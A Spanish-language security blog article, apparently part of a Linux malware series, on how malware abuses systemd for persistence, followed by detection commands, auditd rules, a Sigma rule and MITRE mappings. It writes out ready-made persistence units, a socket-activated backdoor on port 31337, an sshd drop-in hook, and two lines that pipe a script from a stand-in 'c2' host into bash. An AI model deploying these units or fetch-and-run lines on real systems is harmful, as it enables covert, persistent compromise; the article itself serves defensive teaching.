IntermedioLinuxsystemdpersistenciaservicestimersdetección

Systemd como Vector de Persistencia para Malware en Linux

Análisis de cómo el malware usa systemd para persistencia en Linux. Service units, timer units, socket-activated services, generator scripts, y técnicas de detección para cada mecanismo. Con ejemplos reales y reglas de auditd.

MalwareIntel Research··6 min lectura
Serie: Malware en Linux — Parte 11

Systemd: el init system que el malware adora

Systemd es el init system y service manager estándar en Linux desde ~2015. Gestiona el arranque del sistema, los servicios, timers, sockets, montajes y más. Prácticamente todo lo que se ejecuta automáticamente en un Linux moderno pasa por systemd.

Para el malware, systemd ofrece lo mismo que para el software legítimo: ejecución automática al arranque, reinicio si el proceso muere, logging integrado, y la capacidad de ejecutarse como cualquier usuario o como root. Y como hay cientos de units legítimas en cualquier sistema, una unit maliciosa se camufla fácilmente.

Técnicas de persistencia con systemd

Técnica 1: service unit malicioso

La técnica más directa. Crear un archivo .service en /etc/systemd/system/:

# /etc/systemd/system/system-update.service
[Unit]
Description=System Update Service
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/.update-daemon
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target

Activación:

systemctl daemon-reload
systemctl enable system-update.service
systemctl start system-update.service

Indicadores sospechosos:

  • Nombre genérico que simula un servicio del sistema ("system-update", "network-manager-helper")
  • ExecStart apuntando a binarios en ubicaciones no estándar (/tmp, /dev/shm, home directories, dotfiles)
  • Restart=always (el malware se reinicia si lo matas)
  • StandardOutput/StandardError a null (ocultar output)
  • Creado recientemente (comparar fecha de modificación con otros units)

Técnica 2: timer unit (alternativa a cron)

Crear un timer que ejecuta el malware periódicamente:

# /etc/systemd/system/cleanup.timer
[Unit]
Description=System Cleanup Timer

[Timer]
OnCalendar=*:0/15
# Cada 15 minutos
Persistent=true
# Si se perdio una ejecucion, ejecutar al arrancar
RandomizedDelaySec=30
# Delay aleatorio para parecer menos regular

[Install]
WantedBy=timers.target
# /etc/systemd/system/cleanup.service
[Unit]
Description=System Cleanup

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -sL http://c2/update.sh | bash'

Ventajas sobre cron:

  • Persistent=true: ejecuta al arrancar si se perdió la ejecución programada
  • RandomizedDelaySec: dificulta correlación temporal
  • No aparece en crontab -l
  • Menos monitorizados que crontabs

Técnica 3: user service (sin root)

Cualquier usuario puede crear servicios en su directorio home:

mkdir -p ~/.config/systemd/user/

cat > ~/.config/systemd/user/browser-sync.service << 'EOF'
[Unit]
Description=Browser Sync Helper

[Service]
Type=simple
ExecStart=%h/.local/bin/.sync-helper
Restart=always
RestartSec=120

[Install]
WantedBy=default.target
EOF

systemctl --user daemon-reload
systemctl --user enable browser-sync.service
systemctl --user start browser-sync.service

No requiere root. Se ejecuta con los permisos del usuario cuando inicia sesión. Ideal para malware que compromete una cuenta de usuario sin escalada de privilegios.

Técnica 4: socket activation

Crear un servicio que se activa cuando un paquete llega a un puerto específico:

# /etc/systemd/system/helper.socket
[Unit]
Description=Helper Socket

[Socket]
ListenStream=0.0.0.0:31337
Accept=yes

[Install]
WantedBy=sockets.target
# /etc/systemd/system/[email protected]
[Unit]
Description=Helper Service

[Service]
Type=simple
ExecStart=/usr/local/bin/.backdoor
StandardInput=socket
StandardOutput=socket

El servicio .backdoor solo se ejecuta cuando alguien se conecta al puerto 31337. No consume recursos hasta que se activa. Es un backdoor on-demand.

Técnica 5: generator scripts

Systemd generators son scripts que se ejecutan muy temprano en el arranque (antes de que la mayoría de servicios inicien):

# /etc/systemd/system-generators/custom-generator
#!/bin/bash
# Este script se ejecuta como root durante el arranque temprano
curl -sL http://c2/early-payload.sh | bash &

Peligroso: los generators se ejecutan antes de que las herramientas de seguridad inicien. Son difíciles de monitorizar.

Técnica 6: drop-in overrides

Modificar un servicio existente sin reemplazar el unit file original:

mkdir -p /etc/systemd/system/sshd.service.d/

cat > /etc/systemd/system/sshd.service.d/override.conf << 'EOF'
[Service]
ExecStartPre=/usr/local/bin/.pre-hook
EOF

systemctl daemon-reload

Cada vez que sshd se inicia, ejecuta .pre-hook primero. El unit file original (/usr/lib/systemd/system/sshd.service) no se modifica, lo que dificulta la detección por verificación de integridad de paquetes.

Detección de persistencia systemd

Comparar con baseline

# Capturar baseline de units habilitados
systemctl list-unit-files --state=enabled > /root/systemd_baseline.txt
systemctl list-timers --all > /root/timers_baseline.txt

# Periodicamente comparar
systemctl list-unit-files --state=enabled > /tmp/current.txt
diff /root/systemd_baseline.txt /tmp/current.txt

Buscar units sospechosos

# Units que ejecutan desde ubicaciones no estandar
grep -rn 'ExecStart.*tmp\|ExecStart.*shm\|ExecStart.*home\|ExecStart.*/\.' \
    /etc/systemd/system/ /run/systemd/system/ 2>/dev/null

# Units creados recientemente (ultimos 7 dias)
find /etc/systemd/system/ -name "*.service" -mtime -7 2>/dev/null
find /etc/systemd/system/ -name "*.timer" -mtime -7 2>/dev/null

# User units (todos los usuarios)
find /home -path "*/.config/systemd/user/*.service" 2>/dev/null
find /root -path "*/.config/systemd/user/*.service" 2>/dev/null

# Drop-in overrides
find /etc/systemd/system/*.d/ -name "*.conf" 2>/dev/null

# Generators custom
ls -la /etc/systemd/system-generators/ /run/systemd/system-generators/ 2>/dev/null

# Timers activos (buscar nombres sospechosos)
systemctl list-timers --all

# Sockets activos
systemctl list-sockets --all

auditd rules

# Monitorizar escritura en directorios de systemd
-w /etc/systemd/system/ -p wa -k systemd_persist
-w /run/systemd/system/ -p wa -k systemd_persist
-w /etc/systemd/system-generators/ -p wa -k systemd_generators

# Monitorizar systemctl enable/start
-w /usr/bin/systemctl -p x -k systemctl_exec

# Monitorizar user units
-w /home/ -p wa -k user_systemd

Sigma rule

title: Suspicious Systemd Service Created
id: b1c2d3e4-f5a6-7890-bcde-f12345678901
status: stable
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|contains:
            - '/etc/systemd/system/'
            - '/.config/systemd/user/'
        TargetFilename|endswith:
            - '.service'
            - '.timer'
            - '.socket'
    filter_package_manager:
        Image|contains:
            - 'dpkg'
            - 'rpm'
            - 'apt'
            - 'yum'
    condition: selection and not filter_package_manager
level: high
tags:
    - attack.persistence
    - attack.t1543.002

Persistencia systemd en malware real

MalwareTipo de persistencia systemd
TeamTNTService unit + timer para cryptominer
KinsingService unit con Restart=always
RedXORService unit disfrazado de servicio del sistema
Orbit (Symbiote-related)Service unit con socket activation
XorDDoSService unit + init script (compatibilidad)
SkidmapService unit + rootkit para ocultar el unit file

Mapeo MITRE ATT&CK

TécnicaIDContexto systemd
Create or Modify System Process: Systemd ServiceT1543.002Service units maliciosos
Scheduled Task/Job: Systemd TimersT1053.006Timer units para ejecución periódica
Boot or Logon Initialization ScriptsT1037Generators, drop-in overrides
Event Triggered ExecutionT1546Socket activation
Hide ArtifactsT1564Service con nombre que simula servicio legítimo

Fuentes y referencias

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.